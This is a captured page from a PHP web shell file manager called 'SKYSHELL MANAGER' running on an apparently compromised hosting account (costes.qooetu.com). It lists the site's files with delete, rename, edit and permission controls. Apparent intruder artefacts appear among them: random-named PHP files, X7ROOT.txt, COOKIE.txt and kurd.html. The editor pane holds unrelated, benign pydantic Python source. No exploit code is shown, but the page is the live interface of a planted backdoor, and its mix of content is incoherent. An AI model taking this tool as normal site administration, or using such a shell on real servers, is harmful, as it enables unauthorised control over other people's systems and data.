📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: _mock_val_ser.py
from __future__ import annotations from typing import TYPE_CHECKING, Any, Callable, Generic, Iterator, Mapping, TypeVar, Union from pydantic_core import CoreSchema, SchemaSerializer, SchemaValidator from typing_extensions import Literal from ..errors import PydanticErrorCodes, PydanticUserError from ..plugin._schema_validator import PluggableSchemaValidator if TYPE_CHECKING: from ..dataclasses import PydanticDataclass from ..main import BaseModel ValSer = TypeVar('ValSer', bound=Union[SchemaValidator, PluggableSchemaValidator, SchemaSerializer]) T = TypeVar('T') class MockCoreSchema(Mapping[str, Any]): """Mocker for `pydantic_core.CoreSchema` which optionally attempts to rebuild the thing it's mocking when one of its methods is accessed and raises an error if that fails. """ __slots__ = '_error_message', '_code', '_attempt_rebuild', '_built_memo' def __init__( self, error_message: str, *, code: PydanticErrorCodes, attempt_rebuild: Callable[[], CoreSchema | None] | None = None, ) -> None: self._error_message = error_message self._code: PydanticErrorCodes = code self._attempt_rebuild = attempt_rebuild self._built_memo: CoreSchema | None = None def __getitem__(self, key: str) -> Any: return self._get_built().__getitem__(key) def __len__(self) -> int: return self._get_built().__len__() def __iter__(self) -> Iterator[str]: return self._get_built().__iter__() def _get_built(self) -> CoreSchema: if self._built_memo is not None: return self._built_memo if self._attempt_rebuild: schema = self._attempt_rebuild() if schema is not None: self._built_memo = schema return schema raise PydanticUserError(self._error_message, code=self._code) def rebuild(self) -> CoreSchema | None: self._built_memo = None if self._attempt_rebuild: val_ser = self._attempt_rebuild() if val_ser is not None: return val_ser else: raise PydanticUserError(self._error_message, code=self._code) return None class MockValSer(Generic[ValSer]): """Mocker for `pydantic_core.SchemaValidator` or `pydantic_core.SchemaSerializer` which optionally attempts to rebuild the thing it's mocking when one of its methods is accessed and raises an error if that fails. """ __slots__ = '_error_message', '_code', '_val_or_ser', '_attempt_rebuild' def __init__( self, error_message: str, *, code: PydanticErrorCodes, val_or_ser: Literal['validator', 'serializer'], attempt_rebuild: Callable[[], ValSer | None] | None = None, ) -> None: self._error_message = error_message self._val_or_ser = SchemaValidator if val_or_ser == 'validator' else SchemaSerializer self._code: PydanticErrorCodes = code self._attempt_rebuild = attempt_rebuild def __getattr__(self, item: str) -> None: __tracebackhide__ = True if self._attempt_rebuild: val_ser = self._attempt_rebuild() if val_ser is not None: return getattr(val_ser, item) # raise an AttributeError if `item` doesn't exist getattr(self._val_or_ser, item) raise PydanticUserError(self._error_message, code=self._code) def rebuild(self) -> ValSer | None: if self._attempt_rebuild: val_ser = self._attempt_rebuild() if val_ser is not None: return val_ser else: raise PydanticUserError(self._error_message, code=self._code) return None def set_model_mocks(cls: type[BaseModel], cls_name: str, undefined_name: str = 'all referenced types') -> None: """Set `__pydantic_validator__` and `__pydantic_serializer__` to `MockValSer`s on a model. Args: cls: The model class to set the mocks on cls_name: Name of the model class, used in error messages undefined_name: Name of the undefined thing, used in error messages """ undefined_type_error_message = ( f'`{cls_name}` is not fully defined; you should define {undefined_name},' f' then call `{cls_name}.model_rebuild()`.' ) def attempt_rebuild_fn(attr_fn: Callable[[type[BaseModel]], T]) -> Callable[[], T | None]: def handler() -> T | None: if cls.model_rebuild(raise_errors=False, _parent_namespace_depth=5) is not False: return attr_fn(cls) else: return None return handler cls.__pydantic_core_schema__ = MockCoreSchema( # type: ignore[assignment] undefined_type_error_message, code='class-not-fully-defined', attempt_rebuild=attempt_rebuild_fn(lambda c: c.__pydantic_core_schema__), ) cls.__pydantic_validator__ = MockValSer( # type: ignore[assignment] undefined_type_error_message, code='class-not-fully-defined', val_or_ser='validator', attempt_rebuild=attempt_rebuild_fn(lambda c: c.__pydantic_validator__), ) cls.__pydantic_serializer__ = MockValSer( # type: ignore[assignment] undefined_type_error_message, code='class-not-fully-defined', val_or_ser='serializer', attempt_rebuild=attempt_rebuild_fn(lambda c: c.__pydantic_serializer__), ) def set_dataclass_mocks( cls: type[PydanticDataclass], cls_name: str, undefined_name: str = 'all referenced types' ) -> None: """Set `__pydantic_validator__` and `__pydantic_serializer__` to `MockValSer`s on a dataclass. Args: cls: The model class to set the mocks on cls_name: Name of the model class, used in error messages undefined_name: Name of the undefined thing, used in error messages """ from ..dataclasses import rebuild_dataclass undefined_type_error_message = ( f'`{cls_name}` is not fully defined; you should define {undefined_name},' f' then call `pydantic.dataclasses.rebuild_dataclass({cls_name})`.' ) def attempt_rebuild_fn(attr_fn: Callable[[type[PydanticDataclass]], T]) -> Callable[[], T | None]: def handler() -> T | None: if rebuild_dataclass(cls, raise_errors=False, _parent_namespace_depth=5) is not False: return attr_fn(cls) else: return None return handler cls.__pydantic_core_schema__ = MockCoreSchema( # type: ignore[assignment] undefined_type_error_message, code='class-not-fully-defined', attempt_rebuild=attempt_rebuild_fn(lambda c: c.__pydantic_core_schema__), ) cls.__pydantic_validator__ = MockValSer( # type: ignore[assignment] undefined_type_error_message, code='class-not-fully-defined', val_or_ser='validator', attempt_rebuild=attempt_rebuild_fn(lambda c: c.__pydantic_validator__), ) cls.__pydantic_serializer__ = MockValSer( # type: ignore[assignment] undefined_type_error_message, code='class-not-fully-defined', val_or_ser='validator', attempt_rebuild=attempt_rebuild_fn(lambda c: c.__pydantic_serializer__), )
Save